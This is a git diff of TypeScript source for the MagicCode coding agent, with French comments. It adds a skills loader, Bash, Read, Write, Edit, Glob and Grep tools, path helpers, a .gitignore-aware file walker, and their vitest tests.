|
}
|
||||||
|
const { data, body } = parseFrontmatter(raw);
|
||||||
|
const name = data.name || e.name;
|
||||||
|
let description = data.description;
|
||||||
|
if (!description) {
|
||||||
|
description = (body.split("\n").find((l) => l.trim() !== "") ?? "").replace(/^#+\s*/, "").trim();
|
||||||
|
warnings.push(`Skill "${name}" sans description dans l'en-tête de SKILL.md (${skillDir})`);
|
||||||
|
}
|
||||||
|
byName.set(name, { name, description: description || "(sans description)", dir: skillDir, body });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { skills: [...byName.values()], warnings };
|
||||||
|
}
|
||||||
|
|
||||||
|
export function skillsPromptSection(skills: Skill[]): string {
|
||||||
|
if (skills.length === 0) return "";
|
||||||
|
const list = skills.map((s) => `- ${s.name} : ${s.description}`).join("\n");
|
||||||
|
return (
|
||||||
|
"\n# Skills disponibles\n" +
|
||||||
|
"Quand une tâche correspond à la description d'un skill, charge-le avec l'outil Skill AVANT de commencer, " +
|
||||||
|
"puis suis ses instructions.\n" +
|
||||||
|
list
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Contenu d'un skill tel que présenté au modèle (outil Skill ou appel direct). */
|
||||||
|
function skillContent(skill: Skill): string {
|
||||||
|
return (
|
||||||
|
`# Skill : ${skill.name}\n` +
|
||||||
|
`Dossier du skill : ${skill.dir} (les fichiers qu'il référence sont relatifs à ce dossier ; lis-les avec Read si besoin)\n\n` +
|
||||||
|
skill.body.trim()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Skills appelables directement par l'utilisateur ("§nom [arguments]") : le prompt contient
|
||||||
|
* les instructions du skill, le modèle les applique sans avoir à appeler l'outil Skill.
|
||||||
|
*/
|
||||||
|
export function toAgentSkills(skills: Skill[]): AgentSkill[] {
|
||||||
|
return skills.map((skill) => ({
|
||||||
|
name: skill.name,
|
||||||
|
description: skill.description,
|
||||||
|
invoke: (args) =>
|
||||||
|
`L'utilisateur lance explicitement le skill "${skill.name}". Applique maintenant ses instructions.\n\n` +
|
||||||
|
renderCommand(skillContent(skill), args),
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Outil Skill : renvoie les instructions complètes du skill demandé (chargement progressif). */
|
||||||
|
export function createSkillTool(skills: Skill[]): Tool {
|
||||||
|
const byName = new Map(skills.map((s) => [s.name, s]));
|
||||||
|
return {
|
||||||
|
spec: {
|
||||||
|
name: "Skill",
|
||||||
|
description:
|
||||||
|
"Charge les instructions détaillées d'un skill. Skills disponibles :\n" +
|
||||||
|
skills.map((s) => `- ${s.name} : ${s.description}`).join("\n"),
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: { skill: { type: "string", enum: skills.map((s) => s.name) } },
|
||||||
|
required: ["skill"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "auto",
|
||||||
|
describe: (i) => String(i.skill ?? ""),
|
||||||
|
async execute(input) {
|
||||||
|
const name = typeof input.skill === "string" ? input.skill : "";
|
||||||
|
const skill = byName.get(name);
|
||||||
|
if (!skill) {
|
||||||
|
throw new Error(`Skill inconnu : "${name}" (disponibles : ${[...byName.keys()].join(", ")})`);
|
||||||
|
}
|
||||||
|
return skillContent(skill);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
40
packages/ext-claudecode/src/tools/bash.ts
Normal file
40
packages/ext-claudecode/src/tools/bash.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
import { exec } from "node:child_process";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { str } from "./helpers";
|
||||||
|
|
||||||
|
const OUTPUT_MAX = 30_000;
|
||||||
|
|
||||||
|
export const bashTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Bash",
|
||||||
|
description: "Exécute une commande shell dans le dossier de lancement de MagicCode (timeout : 2 minutes).",
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: { command: { type: "string" } },
|
||||||
|
required: ["command"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "ask",
|
||||||
|
describe: (i) => String(i.command ?? ""),
|
||||||
|
execute(input, ctx) {
|
||||||
|
const command = str(input, "command");
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
exec(
|
||||||
|
command,
|
||||||
|
{
|
||||||
|
cwd: ctx.cwd,
|
||||||
|
timeout: 120_000,
|
||||||
|
maxBuffer: 10 * 1024 * 1024,
|
||||||
|
signal: ctx.signal,
|
||||||
|
env: { ...process.env, ...ctx.env },
|
||||||
|
},
|
||||||
|
(error, stdout, stderr) => {
|
||||||
|
let out = `${stdout}${stderr ? `\n[stderr]\n${stderr}` : ""}`.trim();
|
||||||
|
if (out.length > OUTPUT_MAX) out = `${out.slice(0, OUTPUT_MAX)}\n… (tronqué)`;
|
||||||
|
const code = error ? ((error as { code?: number }).code ?? 1) : 0;
|
||||||
|
resolve(`${out}\n[code de sortie : ${code}]`.trim());
|
||||||
|
},
|
||||||
|
);
|
||||||
|
});
|
||||||
|
},
|
||||||
|
};
|
||||||
36
packages/ext-claudecode/src/tools/edit.ts
Normal file
36
packages/ext-claudecode/src/tools/edit.ts
Normal file
|
|
@ -0,0 +1,36 @@
|
||||||
|
import { readFile, writeFile } from "node:fs/promises";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { resolvePath, str } from "./helpers";
|
||||||
|
|
||||||
|
export const editTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Edit",
|
||||||
|
description:
|
||||||
|
"Remplace une occurrence unique de old_string par new_string dans un fichier. " +
|
||||||
|
"Échoue si old_string est absent ou présent plusieurs fois.",
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: {
|
||||||
|
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
|
||||||
|
old_string: { type: "string" },
|
||||||
|
new_string: { type: "string" },
|
||||||
|
},
|
||||||
|
required: ["path", "old_string", "new_string"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "ask",
|
||||||
|
describe: (i) => String(i.path ?? ""),
|
||||||
|
async execute(input, ctx) {
|
||||||
|
const file = resolvePath(ctx.cwd, str(input, "path"));
|
||||||
|
const oldStr = str(input, "old_string");
|
||||||
|
const newStr = str(input, "new_string");
|
||||||
|
const text = await readFile(file, "utf8");
|
||||||
|
|
||||||
|
const count = text.split(oldStr).length - 1;
|
||||||
|
if (count === 0) throw new Error("old_string introuvable dans le fichier");
|
||||||
|
if (count > 1) throw new Error(`old_string présent ${count} fois : ajoutez du contexte`);
|
||||||
|
|
||||||
|
await writeFile(file, text.replace(oldStr, () => newStr), "utf8");
|
||||||
|
return `Fichier modifié : ${file}`;
|
||||||
|
},
|
||||||
|
};
|
||||||
62
packages/ext-claudecode/src/tools/glob.ts
Normal file
62
packages/ext-claudecode/src/tools/glob.ts
Normal file
|
|
@ -0,0 +1,62 @@
|
||||||
|
import { stat } from "node:fs/promises";
|
||||||
|
import { relative, sep } from "node:path";
|
||||||
|
import picomatch from "picomatch";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { displayPath, optStr, resolvePath, str } from "./helpers";
|
||||||
|
import { walkFiles } from "./walk";
|
||||||
|
|
||||||
|
const MAX_RESULTS = 100;
|
||||||
|
|
||||||
|
export const globTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Glob",
|
||||||
|
description:
|
||||||
|
'Trouve des fichiers par motif glob (ex. "**/*.ts", "src/**/*.test.ts", "*.json"). ' +
|
||||||
|
"Le motif est relatif au dossier de recherche. Résultats triés par date de modification " +
|
||||||
|
"(les plus récents d'abord), limités à 100. Ignore .git, node_modules et les fichiers exclus par .gitignore.",
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: {
|
||||||
|
pattern: { type: "string", description: "Motif glob à rechercher" },
|
||||||
|
path: {
|
||||||
|
type: "string",
|
||||||
|
description: "Dossier de recherche : complet ou relatif au dossier de lancement (défaut : ce dossier).",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
required: ["pattern"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "auto",
|
||||||
|
describe: (i) => `${String(i.pattern ?? "")}${i.path ? ` dans ${String(i.path)}` : ""}`,
|
||||||
|
async execute(input, ctx) {
|
||||||
|
const pattern = str(input, "pattern");
|
||||||
|
const root = resolvePath(ctx.cwd, optStr(input, "path") ?? ".");
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (!(await stat(root)).isDirectory()) throw new Error();
|
||||||
|
} catch {
|
||||||
|
throw new Error(`Dossier de recherche introuvable : ${root}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const isMatch = picomatch(pattern, { dot: true });
|
||||||
|
const matched: string[] = [];
|
||||||
|
for await (const abs of walkFiles(root, ctx.signal)) {
|
||||||
|
if (isMatch(relative(root, abs).split(sep).join("/"))) matched.push(abs);
|
||||||
|
}
|
||||||
|
if (matched.length === 0) return `Aucun fichier ne correspond au motif "${pattern}"`;
|
||||||
|
|
||||||
|
const withTime = await Promise.all(
|
||||||
|
matched.map(async (abs) => ({
|
||||||
|
abs,
|
||||||
|
mtime: await stat(abs).then((s) => s.mtimeMs, () => 0),
|
||||||
|
})),
|
||||||
|
);
|
||||||
|
withTime.sort((a, b) => b.mtime - a.mtime);
|
||||||
|
|
||||||
|
const shown = withTime.slice(0, MAX_RESULTS).map((f) => displayPath(ctx.cwd, f.abs));
|
||||||
|
const extra = withTime.length - shown.length;
|
||||||
|
return extra > 0
|
||||||
|
? `${shown.join("\n")}\n(${extra} résultat(s) supplémentaire(s) non affiché(s) : affinez le motif)`
|
||||||
|
: shown.join("\n");
|
||||||
|
},
|
||||||
|
};
|
||||||
161
packages/ext-claudecode/src/tools/grep.ts
Normal file
161
packages/ext-claudecode/src/tools/grep.ts
Normal file
|
|
@ -0,0 +1,161 @@
|
||||||
|
import { readFile, stat } from "node:fs/promises";
|
||||||
|
import { relative, sep } from "node:path";
|
||||||
|
import picomatch from "picomatch";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { displayPath, optBool, optNum, optStr, resolvePath, str } from "./helpers";
|
||||||
|
import { walkFiles } from "./walk";
|
||||||
|
|
||||||
|
const MAX_FILE_BYTES = 2 * 1024 * 1024;
|
||||||
|
const MAX_LINE_CHARS = 500;
|
||||||
|
const DEFAULT_HEAD_LIMIT = 250;
|
||||||
|
|
||||||
|
type Mode = "files_with_matches" | "content" | "count";
|
||||||
|
const MODES: Mode[] = ["files_with_matches", "content", "count"];
|
||||||
|
|
||||||
|
/** Retourne le texte, ou null pour un fichier trop gros, binaire ou illisible. */
|
||||||
|
async function readTextFile(abs: string): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
if ((await stat(abs)).size > MAX_FILE_BYTES) return null;
|
||||||
|
const buf = await readFile(abs);
|
||||||
|
if (buf.subarray(0, 8000).includes(0)) return null;
|
||||||
|
return buf.toString("utf8");
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function splitLines(text: string): string[] {
|
||||||
|
const lines = text.split("\n");
|
||||||
|
if (lines.length > 0 && lines[lines.length - 1] === "") lines.pop();
|
||||||
|
return lines.map((l) => (l.endsWith("\r") ? l.slice(0, -1) : l));
|
||||||
|
}
|
||||||
|
|
||||||
|
const clip = (l: string): string => (l.length > MAX_LINE_CHARS ? `${l.slice(0, MAX_LINE_CHARS)}…` : l);
|
||||||
|
|
||||||
|
export const grepTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Grep",
|
||||||
|
description:
|
||||||
|
"Recherche une expression régulière (syntaxe JavaScript) dans le contenu des fichiers. " +
|
||||||
|
"Ignore .git, node_modules, les fichiers exclus par .gitignore et les fichiers binaires. " +
|
||||||
|
'output_mode : "files_with_matches" (défaut, liste des fichiers), "content" (lignes correspondantes) ou "count".',
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: {
|
||||||
|
pattern: { type: "string", description: "Expression régulière à rechercher" },
|
||||||
|
path: { type: "string", description: "Fichier ou dossier : chemin complet ou relatif au dossier de lancement (défaut : ce dossier)" },
|
||||||
|
glob: { type: "string", description: 'Filtre sur les fichiers, ex. "*.ts" ou "src/**/*.tsx"' },
|
||||||
|
output_mode: { type: "string", enum: MODES },
|
||||||
|
"-i": { type: "boolean", description: "Ignorer la casse" },
|
||||||
|
"-n": { type: "boolean", description: "Numéros de ligne (mode content, vrai par défaut)" },
|
||||||
|
"-A": { type: "number", description: "Lignes de contexte après chaque résultat (mode content)" },
|
||||||
|
"-B": { type: "number", description: "Lignes de contexte avant chaque résultat (mode content)" },
|
||||||
|
"-C": { type: "number", description: "Lignes de contexte avant et après (mode content)" },
|
||||||
|
head_limit: {
|
||||||
|
type: "number",
|
||||||
|
description: `Nombre maximum de lignes/entrées renvoyées (défaut ${DEFAULT_HEAD_LIMIT}, 0 = sans limite)`,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
required: ["pattern"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "auto",
|
||||||
|
describe: (i) => `${String(i.pattern ?? "")}${i.path ? ` dans ${String(i.path)}` : ""}`,
|
||||||
|
async execute(input, ctx) {
|
||||||
|
const pattern = str(input, "pattern");
|
||||||
|
|
||||||
|
const mode = (optStr(input, "output_mode") ?? "files_with_matches") as Mode;
|
||||||
|
if (!MODES.includes(mode)) {
|
||||||
|
throw new Error(`output_mode invalide : "${mode}" (attendu : ${MODES.join(", ")})`);
|
||||||
|
}
|
||||||
|
|
||||||
|
let regex: RegExp;
|
||||||
|
try {
|
||||||
|
regex = new RegExp(pattern, optBool(input, "-i") ? "i" : "");
|
||||||
|
} catch (err) {
|
||||||
|
throw new Error(`Expression régulière invalide : ${(err as Error).message}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const showLineNumbers = optBool(input, "-n") ?? true;
|
||||||
|
const both = optNum(input, "-C");
|
||||||
|
const after = Math.max(optNum(input, "-A") ?? both ?? 0, 0);
|
||||||
|
const before = Math.max(optNum(input, "-B") ?? both ?? 0, 0);
|
||||||
|
const headLimit = optNum(input, "head_limit");
|
||||||
|
const limit = headLimit === undefined ? DEFAULT_HEAD_LIMIT : headLimit <= 0 ? Infinity : headLimit;
|
||||||
|
|
||||||
|
const target = resolvePath(ctx.cwd, optStr(input, "path") ?? ".");
|
||||||
|
let targetIsFile: boolean;
|
||||||
|
try {
|
||||||
|
targetIsFile = (await stat(target)).isFile();
|
||||||
|
} catch {
|
||||||
|
throw new Error(`Chemin introuvable : ${target}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const globFilter = optStr(input, "glob");
|
||||||
|
const matchGlob = globFilter ? picomatch(globFilter, { dot: true, basename: true }) : null;
|
||||||
|
|
||||||
|
async function* candidates(): AsyncGenerator<string> {
|
||||||
|
if (targetIsFile) {
|
||||||
|
yield target;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for await (const abs of walkFiles(target, ctx.signal)) {
|
||||||
|
if (matchGlob && !matchGlob(relative(target, abs).split(sep).join("/"))) continue;
|
||||||
|
yield abs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const out: string[] = [];
|
||||||
|
let truncated = false;
|
||||||
|
|
||||||
|
for await (const abs of candidates()) {
|
||||||
|
if (ctx.signal?.aborted) break;
|
||||||
|
const text = await readTextFile(abs);
|
||||||
|
if (text === null) continue;
|
||||||
|
|
||||||
|
const lines = splitLines(text);
|
||||||
|
const hits: number[] = [];
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
if (regex.test(lines[i] ?? "")) {
|
||||||
|
hits.push(i);
|
||||||
|
if (mode === "files_with_matches") break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (hits.length === 0) continue;
|
||||||
|
|
||||||
|
const name = displayPath(ctx.cwd, abs);
|
||||||
|
if (mode === "files_with_matches") {
|
||||||
|
out.push(name);
|
||||||
|
} else if (mode === "count") {
|
||||||
|
out.push(`${name}:${hits.length}`);
|
||||||
|
} else {
|
||||||
|
// index de ligne → true si c'est une ligne correspondante (sinon : ligne de contexte)
|
||||||
|
const show = new Map<number, boolean>();
|
||||||
|
for (const m of hits) {
|
||||||
|
const from = Math.max(0, m - before);
|
||||||
|
const to = Math.min(lines.length - 1, m + after);
|
||||||
|
for (let j = from; j <= to; j++) show.set(j, (show.get(j) ?? false) || j === m);
|
||||||
|
}
|
||||||
|
let prev = -2;
|
||||||
|
for (const j of [...show.keys()].sort((a, b) => a - b)) {
|
||||||
|
if (prev >= 0 && j > prev + 1) out.push("--");
|
||||||
|
const sepChar = show.get(j) ? ":" : "-";
|
||||||
|
const num = showLineNumbers ? `${j + 1}${sepChar}` : "";
|
||||||
|
out.push(`${name}${sepChar}${num}${clip(lines[j] ?? "")}`);
|
||||||
|
prev = j;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (out.length >= limit) {
|
||||||
|
out.length = Math.min(out.length, limit);
|
||||||
|
truncated = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (out.length === 0) return `Aucun résultat pour "${pattern}"`;
|
||||||
|
return truncated
|
||||||
|
? `${out.join("\n")}\n(limite de ${limit} résultats atteinte : affinez la recherche ou augmentez head_limit)`
|
||||||
|
: out.join("\n");
|
||||||
|
},
|
||||||
|
};
|
||||||
40
packages/ext-claudecode/src/tools/helpers.ts
Normal file
40
packages/ext-claudecode/src/tools/helpers.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
import { homedir } from "node:os";
|
||||||
|
import { isAbsolute, join, relative, resolve, sep } from "node:path";
|
||||||
|
|
||||||
|
export function str(input: Record<string, unknown>, key: string): string {
|
||||||
|
const v = input[key];
|
||||||
|
if (typeof v !== "string") throw new Error(`Paramètre "${key}" manquant ou invalide`);
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function optStr(input: Record<string, unknown>, key: string): string | undefined {
|
||||||
|
const v = input[key];
|
||||||
|
return typeof v === "string" && v !== "" ? v : undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function optNum(input: Record<string, unknown>, key: string): number | undefined {
|
||||||
|
const v = input[key];
|
||||||
|
return typeof v === "number" ? v : undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function optBool(input: Record<string, unknown>, key: string): boolean | undefined {
|
||||||
|
const v = input[key];
|
||||||
|
return typeof v === "boolean" ? v : undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Chemin relatif → résolu depuis `cwd` (dossier de lancement de MagicCode) ;
|
||||||
|
* chemin complet → utilisé tel quel ; "~" et "~/…" → dossier personnel.
|
||||||
|
*/
|
||||||
|
export function resolvePath(cwd: string, p: string): string {
|
||||||
|
if (p === "~") return homedir();
|
||||||
|
if (p.startsWith("~/") || p.startsWith("~\\")) return join(homedir(), p.slice(2));
|
||||||
|
return resolve(cwd, p);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Chemin affiché : relatif au dossier courant (séparateur "/"), absolu s'il est en dehors. */
|
||||||
|
export function displayPath(cwd: string, abs: string): string {
|
||||||
|
const rel = relative(cwd, abs);
|
||||||
|
const out = rel === "" ? "." : rel.startsWith("..") || isAbsolute(rel) ? abs : rel;
|
||||||
|
return out.split(sep).join("/");
|
||||||
|
}
|
||||||
10
packages/ext-claudecode/src/tools/index.ts
Normal file
10
packages/ext-claudecode/src/tools/index.ts
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { bashTool } from "./bash";
|
||||||
|
import { editTool } from "./edit";
|
||||||
|
import { globTool } from "./glob";
|
||||||
|
import { grepTool } from "./grep";
|
||||||
|
import { readTool } from "./read";
|
||||||
|
import { writeTool } from "./write";
|
||||||
|
|
||||||
|
// Lot 1 complet. TODO : TodoWrite, WebFetch, Task (lot 3).
|
||||||
|
export const claudeCodeTools: Tool[] = [readTool, globTool, grepTool, writeTool, editTool, bashTool];
|
||||||
37
packages/ext-claudecode/src/tools/paths.test.ts
Normal file
37
packages/ext-claudecode/src/tools/paths.test.ts
Normal file
|
|
@ -0,0 +1,37 @@
|
||||||
|
import { mkdtemp, readFile } from "node:fs/promises";
|
||||||
|
import { homedir, tmpdir } from "node:os";
|
||||||
|
import { basename, join } from "node:path";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { bashTool } from "./bash";
|
||||||
|
import { resolvePath } from "./helpers";
|
||||||
|
import { readTool } from "./read";
|
||||||
|
import { writeTool } from "./write";
|
||||||
|
|
||||||
|
describe("chemins relatifs au dossier de lancement", () => {
|
||||||
|
it("resolvePath : relatif → cwd, complet → inchangé, ~ → dossier personnel", () => {
|
||||||
|
expect(resolvePath("/launch/X", "a/b.txt")).toBe(join("/launch/X", "a/b.txt"));
|
||||||
|
expect(resolvePath("/launch/X", "/etc/hosts")).toBe("/etc/hosts");
|
||||||
|
expect(resolvePath("/launch/X", "~/f.txt")).toBe(join(homedir(), "f.txt"));
|
||||||
|
});
|
||||||
|
|
||||||
|
it("Write crée le fichier depuis le dossier de lancement, Read le relit depuis là", async () => {
|
||||||
|
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
|
||||||
|
await writeTool.execute({ path: "sub/new.txt", content: "bonjour" }, { cwd });
|
||||||
|
expect(await readFile(join(cwd, "sub", "new.txt"), "utf8")).toBe("bonjour");
|
||||||
|
expect(await readTool.execute({ path: "sub/new.txt" }, { cwd })).toContain("bonjour");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("Write avec chemin complet écrit exactement là", async () => {
|
||||||
|
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
|
||||||
|
const elsewhere = await mkdtemp(join(tmpdir(), "magiccode-other-"));
|
||||||
|
const target = join(elsewhere, "abs.txt");
|
||||||
|
await writeTool.execute({ path: target, content: "x" }, { cwd });
|
||||||
|
expect(await readFile(target, "utf8")).toBe("x");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("Bash s'exécute dans le dossier de lancement", async () => {
|
||||||
|
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
|
||||||
|
const out = await bashTool.execute({ command: "pwd" }, { cwd });
|
||||||
|
expect(out).toContain(basename(cwd));
|
||||||
|
});
|
||||||
|
});
|
||||||
31
packages/ext-claudecode/src/tools/read.ts
Normal file
31
packages/ext-claudecode/src/tools/read.ts
Normal file
|
|
@ -0,0 +1,31 @@
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { optNum, resolvePath, str } from "./helpers";
|
||||||
|
|
||||||
|
export const readTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Read",
|
||||||
|
description: "Lit un fichier texte et renvoie son contenu avec les numéros de ligne.",
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: {
|
||||||
|
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
|
||||||
|
offset: { type: "number", description: "Première ligne à lire (1 par défaut)" },
|
||||||
|
limit: { type: "number", description: "Nombre maximum de lignes (2000 par défaut)" },
|
||||||
|
},
|
||||||
|
required: ["path"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "auto",
|
||||||
|
describe: (i) => String(i.path ?? ""),
|
||||||
|
async execute(input, ctx) {
|
||||||
|
const file = resolvePath(ctx.cwd, str(input, "path"));
|
||||||
|
const lines = (await readFile(file, "utf8")).split("\n");
|
||||||
|
const start = Math.max((optNum(input, "offset") ?? 1) - 1, 0);
|
||||||
|
const end = start + (optNum(input, "limit") ?? 2000);
|
||||||
|
return lines
|
||||||
|
.slice(start, end)
|
||||||
|
.map((l, i) => `${String(start + i + 1).padStart(6)}\t${l}`)
|
||||||
|
.join("\n");
|
||||||
|
},
|
||||||
|
};
|
||||||
73
packages/ext-claudecode/src/tools/search-tools.test.ts
Normal file
73
packages/ext-claudecode/src/tools/search-tools.test.ts
Normal file
|
|
@ -0,0 +1,73 @@
|
||||||
|
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { beforeAll, describe, expect, it } from "vitest";
|
||||||
|
import { globTool } from "./glob";
|
||||||
|
import { grepTool } from "./grep";
|
||||||
|
|
||||||
|
let cwd: string;
|
||||||
|
const ctx = () => ({ cwd });
|
||||||
|
|
||||||
|
beforeAll(async () => {
|
||||||
|
cwd = await mkdtemp(join(tmpdir(), "magiccode-search-"));
|
||||||
|
await mkdir(join(cwd, "src"), { recursive: true });
|
||||||
|
await mkdir(join(cwd, "node_modules", "lib"), { recursive: true });
|
||||||
|
await writeFile(join(cwd, "a.ts"), "const alpha = 1;\n");
|
||||||
|
await writeFile(join(cwd, "src", "b.ts"), "// début\nconst hello = 1;\nconst Hello2 = 2;\n// fin\n");
|
||||||
|
await writeFile(join(cwd, "src", "c.md"), "# hello doc\n");
|
||||||
|
await writeFile(join(cwd, "node_modules", "lib", "x.ts"), "const hello = 0;\n");
|
||||||
|
await writeFile(join(cwd, "debug.log"), "hello log\n");
|
||||||
|
await writeFile(join(cwd, ".gitignore"), "*.log\n");
|
||||||
|
await writeFile(join(cwd, "bin.dat"), Buffer.from([104, 101, 108, 108, 111, 0, 1, 2]));
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("Glob", () => {
|
||||||
|
it("trouve les fichiers et ignore node_modules et .gitignore", async () => {
|
||||||
|
const out = await globTool.execute({ pattern: "**/*.ts" }, ctx());
|
||||||
|
expect(out.split("\n").sort()).toEqual(["a.ts", "src/b.ts"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("*.ts ne descend pas dans les sous-dossiers", async () => {
|
||||||
|
expect(await globTool.execute({ pattern: "*.ts" }, ctx())).toBe("a.ts");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("indique l'absence de résultat", async () => {
|
||||||
|
expect(await globTool.execute({ pattern: "**/*.rs" }, ctx())).toContain("Aucun fichier");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("Grep", () => {
|
||||||
|
it("liste les fichiers correspondants (défaut)", async () => {
|
||||||
|
const out = await grepTool.execute({ pattern: "hello" }, ctx());
|
||||||
|
expect(out.split("\n").sort()).toEqual(["src/b.ts", "src/c.md"]); // ni node_modules, ni .log, ni binaire
|
||||||
|
});
|
||||||
|
|
||||||
|
it("mode content avec numéros de ligne et filtre glob", async () => {
|
||||||
|
const out = await grepTool.execute(
|
||||||
|
{ pattern: "hello", output_mode: "content", glob: "*.ts", "-i": true },
|
||||||
|
ctx(),
|
||||||
|
);
|
||||||
|
expect(out.split("\n")).toEqual(["src/b.ts:2:const hello = 1;", "src/b.ts:3:const Hello2 = 2;"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("mode content avec contexte", async () => {
|
||||||
|
const out = await grepTool.execute(
|
||||||
|
{ pattern: "hello", output_mode: "content", path: "src/b.ts", "-C": 1 },
|
||||||
|
ctx(),
|
||||||
|
);
|
||||||
|
expect(out.split("\n")).toEqual([
|
||||||
|
"src/b.ts-1-// début",
|
||||||
|
"src/b.ts:2:const hello = 1;",
|
||||||
|
"src/b.ts-3-const Hello2 = 2;",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("mode count", async () => {
|
||||||
|
const out = await grepTool.execute({ pattern: "const", output_mode: "count" }, ctx());
|
||||||
|
expect(out.split("\n").sort()).toEqual(["a.ts:1", "src/b.ts:2"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("signale une regex invalide", async () => {
|
||||||
|
await expect(grepTool.execute({ pattern: "(" }, ctx())).rejects.toThrow("Expression régulière invalide");
|
||||||
|
});
|
||||||
|
});
|
||||||
65
packages/ext-claudecode/src/tools/walk.ts
Normal file
65
packages/ext-claudecode/src/tools/walk.ts
Normal file
|
|
@ -0,0 +1,65 @@
|
||||||
|
import { readFile, readdir } from "node:fs/promises";
|
||||||
|
import { join, relative, sep } from "node:path";
|
||||||
|
import ignore, { type Ignore } from "ignore";
|
||||||
|
|
||||||
|
/** Toujours ignorés, même sans .gitignore. */
|
||||||
|
const ALWAYS_SKIPPED = new Set([".git", "node_modules"]);
|
||||||
|
|
||||||
|
interface Scope {
|
||||||
|
base: string;
|
||||||
|
ig: Ignore;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadGitignore(dir: string): Promise<Scope | null> {
|
||||||
|
try {
|
||||||
|
const text = await readFile(join(dir, ".gitignore"), "utf8");
|
||||||
|
return { base: dir, ig: ignore().add(text) };
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function isIgnored(abs: string, isDir: boolean, scopes: Scope[]): boolean {
|
||||||
|
for (const s of scopes) {
|
||||||
|
const rel = relative(s.base, abs).split(sep).join("/");
|
||||||
|
if (!rel || rel.startsWith("..")) continue;
|
||||||
|
if (s.ig.ignores(isDir ? `${rel}/` : rel)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Parcourt récursivement `root` (ordre alphabétique) et produit les chemins absolus des fichiers.
|
||||||
|
* Ignore .git, node_modules et ce qu'excluent les .gitignore rencontrés (racine et sous-dossiers).
|
||||||
|
* Les liens symboliques ne sont pas suivis.
|
||||||
|
*/
|
||||||
|
